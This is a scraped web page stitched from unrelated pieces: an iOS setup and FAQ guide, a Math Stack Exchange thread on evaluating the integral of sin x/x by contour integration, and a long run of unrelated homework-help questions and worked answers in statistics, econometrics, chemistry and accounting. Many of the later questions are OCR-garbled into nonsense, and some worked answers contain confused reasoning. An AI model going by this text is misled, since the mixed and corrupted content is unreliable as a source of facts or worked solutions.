Modern users like iOS for its intuitive interface, ability to work with other Apple products, and a plethora of apps. Millions of iPhones, iPads and iPod Touch run on Secured iOS, making it one of the most widespread mobile operating systems.
iOS Initial Setup and Installations:
1. Turn on your device by pressing and holding the power button until the Apple logo appears.
2. Choose your language and region.
3. Connect to a Wi-Fi network or cellular network. If you are setting up an iPhone, you will need to insert a valid SIM card.
4. Set up Touch ID or Face ID, depending on the model of your device. This will allow you to use biometric authentication to unlock your device.
5. Create a passcode. This will add an extra layer of security to your device.
6. Decide whether to set up your device as new or restore from a backup. If you have an existing iCloud or iTunes backup, you can choose to restore your data and settings.
7. Sign in with your Apple ID. This will allow you to access the App Store, iCloud, and other Apple services.
8. Set up Siri, Apple’s voice-controlled virtual assistant.
9. Choose whether to share analytics data with Apple or not.
10. Agree to the Terms and Conditions.
11. Wait for the setup process to complete. This may take a few minutes.
You should now be able to use your smartphone. You’ve reached the home screen of your iOS device, from which you can alter its settings, access the App Store, and begin learning about the system’s many features.
iOS Frequently Asked Questions:
How to transfer data from Android to iOS devices?
If you are going from an Android smartphone to an iOS device, you may be concerned about how to transfer your data, including contacts, images, and applications. The setup process will assist you in moving your data from an Android device to an iOS device:
Do the initial setup of your new iOS device.
1. If you own an Android smartphone, you can get the “Move to iOS” app from the Google Play Store.
2. Launch the “Move to iOS” app on your iOS device and input the provided code as directed.
3. Launch “Move to iOS” from your Android smartphone, and then select “Continue” from the “Find Your Code” page.
4. Get your Android smartphone linked up with the Wi-Fi network of your iOS device by following the steps provided.
5. Tap “Next” after making your selections (this includes contacts, photographs, and messages).
6. Hold tight while the data is being sent. Depending on how much information you are sending, this might take some time.
When the data has been successfully transferred, you may proceed with setting up your iOS device. Keep in mind that not all apps will be compatible with both Android and iOS, so you may need to update your app selection.
In general, the “Move to iOS” app can make the move from an Android to an iOS smartphone easier by transferring data between the two platforms.
How to take a screenshot on iOS devices?
The ability to grab a snapshot of the current screen content using an iOS smartphone is a handy and intuitive tool. These are the steps to take a screenshot on your iOS device:
For iPhone X and later models: Press the side button and the volume up button at the same time.
For iPhone SE (2nd generation), iPhone 8 or earlier, and iPad models: Press the side button and the home button at the same time.
For iPad Pro models with Face ID: Press the top button and the volume up button at the same time.
For Apple Watch: Press and hold the side button and then press the Digital Crown.
A preview of the screenshot will display as a thumbnail in the lower left corner of the screen for a split second after you capture it. You may open the full-size screenshot to make changes, or dismiss it entirely, by tapping on its thumbnail. A copy of the screenshot will be stored in your device’s photo library.
To sum up, taking a screenshot on an iOS device is simple and quick, and it may be a useful tool for documenting and sharing information or preserving memories.
How to use iOS features like AirDrop or iCloud?
iOS devices come with a variety of features that can make your life easier, such as AirDrop and iCloud. Here’s how to use these features:
1. AirDrop: AirDrop is a feature that allows you to wirelessly share files, photos, and more between Apple devices. To use AirDrop:
• Make sure that both devices have AirDrop turned on.
• Open the file, photo, or other item you want to share.
• Tap the share button (it looks like a square with an upward arrow).
• Tap the person or device you want to share with.
• The recipient will receive a notification to accept the transfer. Once accepted, the file will transfer wirelessly between the two devices.
1. iCloud: iCloud is a service that allows you to store and sync data across all your Apple devices. To use iCloud:
• Sign in with your Apple ID on all your devices.
• Make sure that iCloud is turned on in your device’s settings.
• Choose which data you want to sync, such as photos, contacts, and calendars.
• Access your synced data from any of your Apple devices.
Some additional tips for using these features:
• AirDrop works best when both devices are close to each other and have Wi-Fi and Bluetooth turned on.
• iCloud offers various plans, ranging from 5GB to 2TB of storage. Make sure to choose a plan that suits your needs.
• You can access your iCloud data from a web browser by going to icloud.com.
Overall, AirDrop and iCloud are two powerful features that can help you share and access data across your Apple devices with ease.
How to extend the battery life of iOS devices?
The battery life of iOS devices is a common concern for many users. However, there are several ways you can extend your device’s battery life. Here are some tips to help you get the most out of your iOS device’s battery:
1. Adjust screen brightness: Lowering your screen brightness can significantly reduce battery usage. You can adjust screen brightness by swiping up from the bottom of the screen and adjusting the slider.
2. Enable Low Power Mode: Low Power Mode is a feature that conserves battery life by reducing device performance and disabling some features. You can enable Low Power Mode in your device’s settings under Battery.
3. Close unused apps: Apps that run in the background can drain your battery. To close unused apps, swipe up from the bottom of the screen and swipe up on the app you want to close.
4. Turn off location services: Location services use GPS and can drain your battery. To turn off location services, go to your device’s settings, select Privacy, and then Location Services.
5. Turn off unnecessary features: Bluetooth, Wi-Fi, and AirDrop can all drain your battery. Turn off these features when you’re not using them.
6. Use airplane mode: Airplane mode disables all wireless features and can significantly reduce battery usage. You can turn on airplane mode in your device’s settings.
7. Use a dark mode: Dark mode can help reduce battery usage on devices with OLED screens. You can enable dark mode in your device’s settings under Display & Brightness.
Overall, by following these tips, you can help extend your iOS device’s battery life and get the most out of your device.
How to fix common iOS problems like freezing or crashing?
While iOS is generally a stable and reliable operating system, there are times when you may experience issues such as freezing or crashing. Here are some steps you can take to fix common iOS problems:
1. Force restart: If your device is freezing or not responding, try force restarting it. To force restart your device, press and hold the Power and Home buttons (or the Power and Volume Down buttons on newer devices) until the Apple logo appears.
2. Update iOS: Make sure your device is running the latest version of iOS. Go to your device’s settings, select General, and then Software Update. If an update is available, follow the on-screen instructions to install it.
3. Clear storage space: A lack of storage space can cause your device to slow down or freeze. Try deleting unused apps or files to free up space.
4. Reset settings: Resetting your device’s settings can fix issues related to settings or preferences. To reset your device’s settings, go to your device’s settings, select General, and then Reset. Choose the option to Reset All Settings.
5. Restore from backup: If all else fails, you may need to restore your device from a backup. Connect your device to your computer and open iTunes or Finder. Select your device and choose the option to Restore Backup.
If these steps do not resolve your iOS problems, you may need to contact Apple Support or visit an Apple Store for further assistance.
How to backup and restore data on iOS devices?
Backing up your iOS device is important to protect your data in case of device failure, loss, or theft. Here’s how to backup and restore data on your iOS device:
1. Backup using iCloud: To backup your device using iCloud, go to your device’s settings, select your name, and then select iCloud. Turn on iCloud Backup and tap Back Up Now. Your device will back up automatically when connected to Wi-Fi and plugged in.
2. Backup using iTunes or Finder: You can also backup your device using iTunes or Finder on your computer. Connect your device to your computer and open iTunes or Finder. Select your device and click on Back Up Now.
3. Restore from iCloud backup: To restore your device from an iCloud backup, go to your device’s settings, select General, and then select Reset. Choose the option to Erase All Content and Settings. After your device restarts, select the option to Restore from iCloud Backup and follow the on-screen instructions.
4. Restore from iTunes or Finder backup: To restore your device from an iTunes or Finder backup, connect your device to your computer and open iTunes or Finder. Select your device and choose the option to Restore Backup. Choose the backup you want to restore from and follow the on-screen instructions.
It’s important to back up your device regularly to ensure that your data is protected. By following these steps, you can easily back up and restore your iOS device.
LEAVE A REPLY
Please enter your comment!
Please enter your name here
|
__label__pos
| 0.793552 |
Mathematics Stack Exchange is a question and answer site for people studying math at any level and professionals in related fields. It's 100% free, no registration required.
Sign up
Here's how it works:
1. Anybody can ask a question
2. Anybody can answer
3. The best answers are voted up and rise to the top
Show that $\int^{\infty}_{0} x^{-1} \sin x dx = \frac\pi2$ by integrating $z^{-1}e^{iz}$ around a closed contour $\Gamma$ consisting of two portions of the real axis, from -$R$ to -$\epsilon$ and from $\epsilon$ to $R$ (with $R > \epsilon > 0$) and two connecting semi-circular arcs in the upper half-plane, of respective radii $\epsilon$ and $R$. Then let $\epsilon \rightarrow 0$ and $R \rightarrow \infty$.
[Ref: R. Penrose, The Road to Reality: a complete guide to the laws of the universe (Vintage, 2005): Chap. 7, Prob. [7.5] (p. 129)]
Note: Marked as "Not to be taken lightly", (i.e. very hard!)
Update: correction: $z^{-1}e^{iz}$ (Ref: http://www.roadsolutions.ox.ac.uk/corrections.html)
share|cite|improve this question
3
Ah, here it is! – J. M. Sep 17 '11 at 9:41
2
@UGP Penrose's book is a very interesting book, but it is not really a good resource to actually learn the basics of any topic, it is more like an appetizer or a menu with samples. – Phira Sep 17 '11 at 9:48
4
@Asaf: I don't think that this is a duplicate. That question asks specifically to solve it without contour integration, whereas this question is asking specifically for contour integration. – Eric Naslund Sep 17 '11 at 10:05
3
@Grigory: There is no (non-deleted) solution with complex analysis on that thread. This is not an exact duplicate. – Eric Naslund Sep 17 '11 at 17:09
4
I voted to reopen for the same reasons as Eric. – t.b. Sep 17 '11 at 17:17
What follows is a proof of how to use contour integration to get your identity.
First, we want to change $\sin x$ into $e^{ix}$. Notice that $$\int_{0}^\infty \frac{\sin x}{x}dx=\frac{1}{2i}\lim_{\epsilon\rightarrow 0}\lim_{R\rightarrow \infty}\left(\int_{-R}^\epsilon \frac{e^{iz}}{z}dz+\int_{\epsilon}^R \frac{e^{iz}}{z}dz\right).$$ The reason we put int the limit is because the integral $\int_{-\infty}^{\infty}\frac{e^{iz}}{z}dz$ does not converge. Now, consider the semi circle or radius $R$ in the upper half plane, and modify it by going around a semi circle of radius $\epsilon<R$ in the upper half plane to avoid the point $0$. Call this countour $\Gamma_{R,\epsilon}$. Also, let $C_\epsilon^+$ denote the semi circle of radius $\epsilon$ in the upper half plane. Then by using Jordans Lemma we can show that $$\lim_{\epsilon\rightarrow 0}\lim_{R\rightarrow \infty}\left(\int_{-R}^\epsilon \frac{e^{iz}}{z}dz+\int_{\epsilon}^R \frac{e^{iz}}{z}dz\right)=\lim_{R\rightarrow \infty}\lim_{\epsilon\rightarrow 0}\left(\int_{\Gamma_{R,\epsilon}} \frac{e^{iz}}{z}dz-\int_{C_\epsilon^+}\frac{e^{iz}}{z}dz\right).$$ Now, using the residue theorem and the fractional residue theorem we see that the right hand side above equals $\pi i$. Hence $$\int_{0}^\infty \frac{\sin x}{x}dx=\frac{\pi}{2}.$$
Hope that helps,
share|cite|improve this answer
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.907425 |
5 answers
0f1,122 women and 488 mcc, Doyou consider rational poll aed rndom samp e Sdyesand thinty-three Percent of thc mnen yourself
Question:
0f1,122 women and 488 mcc, Doyou consider rational poll aed rndom samp e Sdyesand thinty-three Percent of thc mnen yourself a feminist? Sixty pcrcent of the women signficant - aindence that women atr more lrety to say yes than sid yes tnis statistta Mcnt Use the #bnp: lorroren cach of the following values ol#ccestet 0' Srceen P-A Ifthe proportions in the two samples had been eqeal. then P P would be_ Wnite the hypotheses Define the symbols you uscd in thc hypotheses; very exacty: Ifit is {rue that P' -Pr " ampling O stnbution of A ~P is show below Where A-P from the aclal samples locatea? Use SatCrunch Stat > Propotion Stts > Two Samphe > With Sammaryto get the number of SE that R-R lies irom the mean andthe P-vate Cirde the words cach e capitalized pair to wnite the best conciusion DO NOT REJECT the null hypothess There /5 / ISNT statstically_ significant REjECT evidence that a larger proportion of women than men in the SAMPLE / UNITED STATES thatselves leminists_ other words Me Mcre ak all men and all women in contider phe Unitad States; it is PLAUSIBLE / NOT PLAUSIBLE that the same proportion of each group #ould ky they are ferninists
Answers
(a) identify the claim and state $H_{0}$ and $H_{a},(b)$ find the critical value and identify the rejection region, $(c)$ find the test statistic $F,(d)$ decide whether to reject or fail to reject the null hypothesis, and (e) interpret the decision in the context of the original claim. Assume the samples are random and independent, the populations are normally distributed, and the population variances are equal. If convenient, use technology. The table shows the salaries of a sample of individuals from six large metropolitan areas. At $\alpha=0.05,$ can you conclude that the mean salary is different in at least one of the areas? (Adapted from U.S.
Bureau of Economic Analysis) $$\begin{array}{|l|l|l|l|c|l|}\hline \text { Chicago } & \text { Dallas } & \text { Miami } & \text { Denver } & \text { San Diego } & \text { Seattle } \\\hline 43,581 & 36,524 & 49,357 & 37,790 & 48,370 & 57,678 \\37,731 & 33,709 & 53,207 & 38,970 & 45,470 & 48,043 \\46,831 & 40,209 & 40,557 & 42,990 & 43,920 & 45,943 \\53,031 & 51,704 & 52,357 & 46,290 & 54,670 & 52,543 \\52,551 & 40,909 & 44,907 & 49,565 & 41,770 & 57,418 \\42,131 & 53,259 & 48,757 & 40,390 & & \\& 47,269 & 53,557 & & & \\\hline\end{array}$$
.
All right, we have a population with no means 67 we want to calculate for the following sample the sample mean and the sample standard deviation So to do so, let's remember that the sample mean and sample standard deviation are defined by these formulas X. Bar is the some of the data divided by M. In this case 61.8 S is some of the deviations about the mean square all divided by n minus one or 10.6. Now, we want to implement a two tailed test, that is, we want to test whether or not from the sample we can find statistically significant suggesting the population means differs from the no mean of 67 ida direction. We use an alpha value of 670.1 and we note that X is approximately normally distributed.
To implement this test, we have to answer the following questions to start. What's the significance of hypotheses after is equal to 0.1? No hypothesis, H and r is that mu is equal to 67? And our alternative hypothesis is that new is not equal to 67. What distribution of do we use? Let's compute the associated test statistic. The distribution will use the student's T. Because a population standard deviation sigma is unknown.
We can use this distribution safely because the shape is described as normal, which is both mound shaped and symmetric from this. We have to derive a T stat defined by this formula. It reduces our negative 2.19 And this problem, let's compute the p interval from this. T stat. This is the degree of freedom is and minus one equals 15.
We have the p p interval corresponding 150.75 PM. That's natures of 0.1. We find this p interval by using the two tailed T table, which can be found on google or a textbook for this T stat. The graph looks like this on the right where we have our absolute value, both negative and positive, much for artist at negative 2.19 and 2.19 And the P value is the area under the distribution to the left and right of these values. What can we conclude from these findings? Well, we concluded that since P is greater than alpha, we have statistically insignificant findings.
Therefore, we can not reject h not and then we can't reject H not. We interpret this finding to mean that we lack any evidence suggesting that the population mean differs from its known mean of 67..
These are some tabulation results from the sample. We have 824 men and 436 women in the sample. Okay, We also have the numbers of people with below average look and people with above average. Look, I didn't leave those with average look, so you can tell that the numbers in the rose do not add up to the number in the last row. The question asked you to calculate the number of the ratio of men and women with above and below average.
Look for men. Those with below average look is 96 you will divide that with 824. You can get 11 point 7% so 11.7% of men have below average look. For women, the ratio is 13.5%. For those with above average.
Look, there are 239 men and 140 for women. Again, you take these numbers and divided by the total number of men or women, and you wouldn't get 33% of the women in the simple have above average look. And for men, the ratio or the percent is 29% in this part. You in test whether the ratio off fraction of people with above average look are the same for men and women. So the non hypothesis can be written as above average.
Yeah, for female equal above average for mill. In Part one, recall that we have observed the ratio of above a rich look for women is 0.33 and for men is 0.29 So the difference the actual difference in the simple is 0.4 But when we conduct a teachers, we see that the T statistic is 1.4 and the P value is 0.14 which is greater than 0.1, so we can conclude that at the 10% level, we find no evidence against the null hypotheses. We are unable to reject the null hypothesis in this part. We have the regression results for two genders women on the left and men on the right. There two explanatory variables below average and above average.
The name of these variables imply that the base group in their regression, is those with average look, And so when we interpret the coefficients estimated in these regressions, we must make reference or comparison to the baseball. Yeah, let's look at the variable below average. This variable is statistically significant for both genders, and it is significant at the 10% level at least. Okay. It also has a minus sign, which implies that people with below average look earn less than people with average look more particular.
A man with below average looks earns almost 20% less than a man of average look, and a women with below average look earns about 13.8% less than a woman with average look. Surprisingly, the other variable above average look is not significant in both regressions, so we don't have a clear evidence whether people with above average look earns more than people with average. Look, remember that beta one is the coefficient of below average variable. You contest the not hypotheses beta one equal to zero against the alternative hypotheses. Beta one is negative.
This means the null is that people with below average look earned the same on average as people with average look. The alternative is that people with below average look or less than people with average look in the population. This is a one sided test and you will not need to do any further calculation. You only need to look at the regression results. So the T statistic for the yuan side the test is the same as the T statistic for the two sides.
Tests and the Regression Results table report the two sided T statistic. So for female beta one is minus born 138 and the T statistic the two sides T statistic is minus one 0.81 This T statistic is the same whether the test is one sided or two sided against zero same for men. The T statistic is minus 3.31 and you would get the same T statistic for the one sided test here. The only difference between an one sided tests and the two sides test is a plea value. There is a connection between their P value for the two sides tests and the one sided tests for this kind of one sided test.
The P value is half of the P value in the two sided tests. For the case of female, we have the two sided P value as 20.72 So the one side of P value for this test for women is half of 0.7 to which is 0.36 For men, the two sided P value is 20.1 so the one started P value would be half of that, which is 0.5 Given these p values were able to restrict that null hypotheses. We reject and not hypotheses more strongly for men because the estimate is larger in magnitude and the estimate has less sampling variation as measured by descended error. In Part four, you will test whether women with above average look earn more than women with average look similar to part three. This is a one sided test.
The now hypotheses is beta to the notation for the coefficient of above average variable under did not have policies. Beta two equals zero, and the alternative hypothesis is beta too greater than zero and similar to part three. We will not do a separate test. The T statistic is the same as the T statistic reported by the table. So we have is that equals 0.607 and the P value of the one sided test, this one would be half of the two sided P value.
So we will take the P value in the table 0.544 half and we get the one sided P value as 0.272 Given this p value, we are unable to reject the non hypotheses. Here are report the regression results for women and men. The estimation equation has more explanatory variables we have. Besides their looks variable, we have education experience union, whether the person in good health, whether the person is black, the marital status, their living conditions and their occupational. So a lot of these factors are statistically significant.
What we care about in this part is the coefficients of the looks variable below average look and above average Look, as you can see for variable below Everest Look. The coefficient is still statistically significant for both gender, and it is still negative for both gender. However, its magnitude change for women initially below average has a coefficient of minus point 138 and now it is minus 0.115 For men, the coefficient of below average before is minus point on 99 and Now it is minus 990.143 So the magnitude of this variable in both cases has decreased in absolute term for the other variable above average. Look, this variable still retain its fine, and it's significance level for both genders. We will do a child test to see whether the slopes of the regression functions in part five differ between two genders.
So we wouldn't use a s S R form or some of square residual form. And what we need to do is to estimate they're restricted model using the full sample off both men and women in the restricted model. You have earnings A witch? Yeah, as a function of the looks, variable, other explanatory variables and gender. We have gender because the question asked you to allow for an intercept shift under the null hypothesis, we then find the sum of squared of residuals of theory. Restricted model se is S.
S R. Are. You can easily find this value to be 261 point 18 Yeah, that's the first estimation. The second estimation ISS the estimation of the unrestricted model, and you will split the sample into men and women. The regression equation is wage as a function of loops and other factors.
Yeah, you will add up the sum of square of residuals of the two models to get the final sum of square residual of the unrestricted models, which is 200 49 0.78 Yeah, you will also need to find a degree of freedom of the unrestricted model. The degree of freedom of the unrestricted model is the some of the observations, minus the number of coefficient estimated. The some of the observations used by two unrestricted model is actually the total number of observations in the sample. So you have 1260 minus 14 terms to there are 14 coefficients to be estimated in each of these which equation now the child test, which is actually an F test. The formula for the child test is some of square of residual of the restricted model, minus some of square of residual of the unrestricted model divided by the sum of square, a residual of the unrestricted model.
Okay, all multiply with D F two over D F. One, the F one, the first degree of freedom of the F statistic is the number of is the difference in the numbers of coefficients to be estimated between two models. So we have 14 times to this is the number of coefficient in there. Unrestricted model minus 14 plus one. This is the number of coefficient.
Yeah, in their restricted model equal 13. That's 28 minus 15 equals 13. The second degree of freedom, as we noted above, is there degree of freedom from the unrestricted model and it is their number of total observation 1260 minus 14 times, too. That is minus 28 you will get 1000 232. You will find out the value of the child test is 4.23 and you can use your statistical software to back up the P value.
The P value is very, very small, almost zero. So we are able to reject the novel hypothesis. In other words, we have evidence at the 1% level that the coefficient are not equal across men and women.
We have a sample with n equals 493 members. And of those 493 members. 136 of them satisfying certain conditions want to meet our equal 136. We want to test to clean the population proportion P is greater than .214 With a confidence level of one of alpha equals 0.01. Now that we've got to find the confidence level, we have to proceed to the following steps to conduct this hypothesis test first is appropriate to the normal distribution.
Yes, it is. Because both MP and QPR greater than five. What are prophecies that we're testing I know is that people's 0.214 are alternative. Is that P is greater than 0.214 Ak We're conducting a one tailed test. Next compute P hot.
And our test statistic P hot remember is just all over end 10.276 Z is equal to p hot minus pee. All over route PQ over end. As we see on the formula on the right, giving Z equals 3.35 Next compute the P value associated this test statistic the P value. We can identify an easy table corresponds to the area under the normal curve to the right of Z equals 3.35 or P equals 0.4 We've graphed this also on the right to demonstrate how this looks on the distribution. Next we reject asian all based on this P value.
Yes, we do. He is listening to alpha and we interpret that to mean that we have evidence that P is greater than .214..
We have muse equal to 1300 as a known mean of the population. We want to calculate the sample mean exploring the sample standard deviation s for the randomly sampled data that follows. So to do so, we simply have to remember the definition of expire to ask for a sample. That's why, for example, in some of the data to buy buy em in this case, 12 68 S is some of the deviations about the moon squared, all divided by n minus one. In this case.
37.29 Next, what we want to do is implement a two tailed test. That is we want to test whether or not this sample suggests the actual meaning this population differs either higher or lower. Either direction from the no mean 1300. We're going to do so with an alcohol level of 0.1 and we're gonna know at this point that X is approximately normally distributed. So to implement this test, we have to follow the following procedures, one by one 1st.
What is the significance of hypotheses? Alpha equals 0.1 The null hypothesis H not is musical 1300. And the alternative hypothesis H is that it is not equal 1300. Next distribution We're going to use compute the associated testes, cystic. We're going to use a student's t distribution because the population standard deviation sigma is not known. We only have a sample standard deviation S It's appropriate to use the distribution because X is approximately normally distributed, meaning it's both symmetric and round shape necessary to use students T.
Six reasons to distribution. Let's calculate the T statistic. It's defined by this formula, expire minus mu divided by s over root end, which in this case equates the negative 2.714 next let's compute the p interval and sketch the results. So, since we have a degree of freedom of n minus one equals nine, no, from a two tailed T table, which we can find in google and the stats textbook, we find that the T statistic corresponds to a p value range between 20.0 to 1.5 We can think of this also as the area underneath the T distribution outside of negative 2.714 and 2.714 The T statistic as is graft on the right. Finally, given this p interval range, we can make a conclusion about this test.
Since P is greater than alpha, we have statistically insignificant bindings and we cannot reject h shot. We fail to a general hypothesis. Therefore, we interpret this to mean that we lack evidence suggesting that the population mean differs from its no mean of 1300..
Similar Solved Questions
5 answers
(8 pts) The monoterpene compounds alpha-terpinene and gamma-terpinene are isomers of CzHs6. When these compounds are subjected to catalytic hydrogenation, they both produce 1- isopropyl-4-methyl cyclohexane: When they are subjected to ozonolysis, however, they produce different products. Draw the structures of alpha-terpinene and gamma-terpinene:1lw/o Swj'1,0,Hgcalpha-terpinene2.Zn; HAcCH31.0,HsC_gamma-terpinene 2. Zo; HAcHacCHaCHa
(8 pts) The monoterpene compounds alpha-terpinene and gamma-terpinene are isomers of CzHs6. When these compounds are subjected to catalytic hydrogenation, they both produce 1- isopropyl-4-methyl cyclohexane: When they are subjected to ozonolysis, however, they produce different products. Draw the st...
5 answers
Meth 340 Qui2 $ 28pf (0w 282 S fecluects Nouce astr: A, Faubov Usc t dapluel trauskrh &e &oenr # Iv p 4 '- # = 2205 1 d(0= | 1 Fiwc YC { e 2 Lax 4t} Fiucl 8-t { (-2)*}
Meth 340 Qui2 $ 28pf (0w 282 S fecluects Nouce astr: A, Faubov Usc t dapluel trauskrh &e &oenr # Iv p 4 '- # = 2205 1 d(0= | 1 Fiwc YC { e 2 Lax 4t} Fiucl 8-t { (-2)*}...
1 answer
*** Please record Journal entries for a-d below *** Global Marine obtained a charter from the...
*** Please record Journal entries for a-d below *** Global Marine obtained a charter from the state in January that authorized 1,000,000 shares of common stock, $5 par value. During the first year, the company earned $360,000 of net income, declared no dividends, and the following selected transact...
1 answer
Problem 11-23 (LO. 2) Bluebird, Inc., does not provide its employees with any tax-exempt fringe benefits. The company...
Problem 11-23 (LO. 2) Bluebird, Inc., does not provide its employees with any tax-exempt fringe benefits. The company is considering adopting a hospital and medical benefits insurance plan that will cost approximately $9,000 per employee. To adopt this plan, the company may have to reduce salaries a...
5 answers
Determine a new approximation using the formulaf(Eg) En+l Tn f' (Tn)Use three iterations of Newton's Method to approximate zero of f (x) =x2 initial guess.2. Use *1as the
Determine a new approximation using the formula f(Eg) En+l Tn f' (Tn) Use three iterations of Newton's Method to approximate zero of f (x) =x2 initial guess. 2. Use * 1as the...
1 answer
Wind flows over a tilted roof (45o angle), causing an increase in the pressure on the...
Wind flows over a tilted roof (45o angle), causing an increase in the pressure on the roof to Po P+ AP. The pressure inside the attic/house is sl Pam. The pressure forces are quite high, so that the viscous part of the total stress tensor (equation 6, chapter 6) is negligible in comparison 1. Write ...
1 answer
Determine the magnitude of the electric field in the region
The drawing shows the electric potential as a function ofdistance along the x axis. Determine the magnitude of theelectric field in the region (a)A to B, (b)B to C, and (c) C to D....
1 answer
4] Determine the angular acceleration of link AB at the instant shown below. ac = 5...
4] Determine the angular acceleration of link AB at the instant shown below. ac = 5 ft/s2 vc = 6 ft/s -0.5 ft 0.5 ft...
1 answer
Assume that a sample is used to estimate a population mean μμ. Find the margin of...
Assume that a sample is used to estimate a population mean μμ. Find the margin of error M.E. that corresponds to a sample of size 22 with a mean of 21.3 and a standard deviation of 19.4 at a confidence level of 99.5%. Report ME accurate to one decimal place because the sample statistics are p...
5 answers
T-test for Dependent Means (Chapter 7) 2. Five individuals are tested before and after an experimental procedure; their scores are given in the following table Test the hypothesis that there is no change; using the 05 significance level Use the steps of hypothesis testing:
t-test for Dependent Means (Chapter 7) 2. Five individuals are tested before and after an experimental procedure; their scores are given in the following table Test the hypothesis that there is no change; using the 05 significance level Use the steps of hypothesis testing:...
5 answers
Question 45 ptsQEUm0n*0mWhat is the wavelength of the wave in the diagram above? A0.04mB.0.08mC.0.06m0.0.03 mE.0.16m
Question 4 5 pts QEUm 0n*0m What is the wavelength of the wave in the diagram above? A0.04m B.0.08m C.0.06m 0.0.03 m E.0.16m...
1 answer
This pertains to PLC logic and writing PLC programs. It is required to use LogixPro software...
This pertains to PLC logic and writing PLC programs. It is required to use LogixPro software for the ladder program design. please either provide pictures or drawings of what the ladder program would look like, thank you! Course Project Description Parking Garage Operations Process The process c...
1 answer
The end-of-year report for last year indicated the average sell price for houses in Las Cruces...
The end-of-year report for last year indicated the average sell price for houses in Las Cruces is $190,000. A realtor wants to conduct an experiment to show that the house sell price has increased this year compared to last year. He randomly selected 35 houses that are sold this year, and the data i...
1 answer
How do you solve #(a-2)/(a+3)-1=3/(a+2)# and check for extraneous solutions?
How do you solve #(a-2)/(a+3)-1=3/(a+2)# and check for extraneous solutions?...
5 answers
Solve: second row, 14 in the 3) An auditorium has 20 rows with 10 seats in the first row, 12 in the auditorium? Define series that third rOw, and so forth: How many seats are in the describes the situation and find the required partial sum:4) Find the first four partial sums (S1, S2, 83 and S4) and the nth partial sum Sn of the sequence an-log6,+1 [Hint: Use property of logarithms to simplify ]
Solve: second row, 14 in the 3) An auditorium has 20 rows with 10 seats in the first row, 12 in the auditorium? Define series that third rOw, and so forth: How many seats are in the describes the situation and find the required partial sum: 4) Find the first four partial sums (S1, S2, 83 and S4) and...
5 answers
~/1 POINTSZILLDIFFEQMODAPII 7.1.023. 0/6 Submissions UsedMY NOTESASK YOUR TEACHERUse Theorem 7.1.1 to find 4{)} (Write your answer as function of 5.) 42 + 70 _ 2A{f(t)}Need Help?EanJelkte Einue
~/1 POINTS ZILLDIFFEQMODAPII 7.1.023. 0/6 Submissions Used MY NOTES ASK YOUR TEACHER Use Theorem 7.1.1 to find 4{)} (Write your answer as function of 5.) 42 + 70 _ 2 A{f(t)} Need Help? Ean Jelkte Einue...
5 answers
Question 1Why do we usually study the respiratorv system and circulatory systems back to back? (1pt)B. In one sentence explain a case or example relating to the reason you gave above for why we study these two systems together (re: example re- A) (1pt)HIML Edtore }B I % 4 - @ - I = #22 2 x" X # E 0 & M # 12pt Paragraph Rv
Question 1 Why do we usually study the respiratorv system and circulatory systems back to back? (1pt) B. In one sentence explain a case or example relating to the reason you gave above for why we study these two systems together (re: example re- A) (1pt) HIML Edtore } B I % 4 - @ - I = #22 2 x"...
1 answer
Henrie's Drapery Service is investigating the purchase of a new machine for cleaning and blocking drapes....
Henrie's Drapery Service is investigating the purchase of a new machine for cleaning and blocking drapes. The machine would cost $137,320, including freight and installation. Henrie's estimated the new machine would increase the company's cash inflows, net of expenses, by $40,000 per yea...
1 answer
Indicate whether the following statement is true or false) In order to receive full credit, you...
Indicate whether the following statement is true or false) In order to receive full credit, you must provide justification of your answer on the separate sheet you submit(e.g., a proof of a true statement, or a counterexample to a false statement). If f is a continuous function on a smooth curve C&#...
1 answer
Required information [The following information applies to the questions displayed below] Adger Corporation is a service...
Required information [The following information applies to the questions displayed below] Adger Corporation is a service company that measures its output based on the number of customers served. The company provided the following fixed and variable cost estimates that it uses for budgeting purposes ...
5 answers
An aqueous solution of iron(II) iodide; Felz contains 4.89 'grams of iron(Il) iodide and 17.7 grams of water:The percentage by mass of iron(Il) iodide in the solution is
An aqueous solution of iron(II) iodide; Felz contains 4.89 'grams of iron(Il) iodide and 17.7 grams of water: The percentage by mass of iron(Il) iodide in the solution is...
1 answer
The following items are taken from the 2021 financial records.. prepare an income statement (in good...
the following items are taken from the 2021 financial records.. prepare an income statement (in good form). The following items and amounts are taken from the 2021 financial records of Labrador Co.: Labrador Co. Income Statement For the Year Ended December 31, 2021 Supplies expense........ Equip...
1 answer
1. A monopolist operates in 2 different markets (selling the same product but different quantities Q1...
1. A monopolist operates in 2 different markets (selling the same product but different quantities Q1 and Q2), there are 2 marginal revenue functions below in market 1 and 2. Please provide the aggregate marginal revenue function which is the horizontal summation of these marginal revenue functions....
1 answer
A boat can travel with a speed of 13 km/hr in still water. If the speed of the stream is 4 km/hr, what is the time taken by the boat to go 68 km downstream?
A boat can travel with a speed of 13 km/hr in still water. If the speed of the stream is 4 km/hr, what is the time taken by the boat to go 68 km downstream?...
5 answers
4uthorActonVideosFndthe area of Ira shaded region enclosd in # somionc 0 conbmeters. Tho Jongth " dlunioter 8 ort chord EA [HinL: Triangle ABC cenimuler' nght triang o ]Guided Lecturc Noteschaptcr contcnlemaiStudiTne ma approximately souart conminnto 6 (Do roi round untl Ihc final answer Mhon round Ic tto Lecima cacus u5ncadnderdebookSkills for Succes$JoaSagceHultimediu Libtaruchate OptlonsECuaonLEte (bEnler Vour dns
4uthor ActonVideos Fndthe area of Ira shaded region enclosd in # somionc 0 conbmeters. Tho Jongth " dlunioter 8 ort chord EA [HinL: Triangle ABC cenimuler' nght triang o ] Guided Lecturc Notes chaptcr contcnle mai Studi Tne ma approximately souart conminnto 6 (Do roi round untl Ihc final a...
1 answer
QUESTION 5 Assuming bicycle tires are perfectly flexible and support the weight of bicycle and rider...
QUESTION 5 Assuming bicycle tires are perfectly flexible and support the weight of bicycle and rider by pressure alone, calculate the total area of the tires in contact with the ground. The bicycle plus rider has a mass of 70 kg, and the gauge pressure in the tires is 5.4 105 Pa Express your answer ...
1 answer
Speed decreases as distance decreases for the same time true or false
speed decreases as distance decreases for the same time true or false...
5 answers
(tcauc| TS :3a TiiU | Whe^ @~Mser is treated @i# #5h b) Wilh 2779 -O,nj Cn ha major Predct is:a) fproaldebyle follou by wares, Waen 6,3-bula liene PkcHg 7$ "70h48) Phc" pro? PhcHo A)pkoh . e) PkBr ~cho 6) OHc With Propenal #e Ploduct is: cho (Tacemic) U cho (facemic)
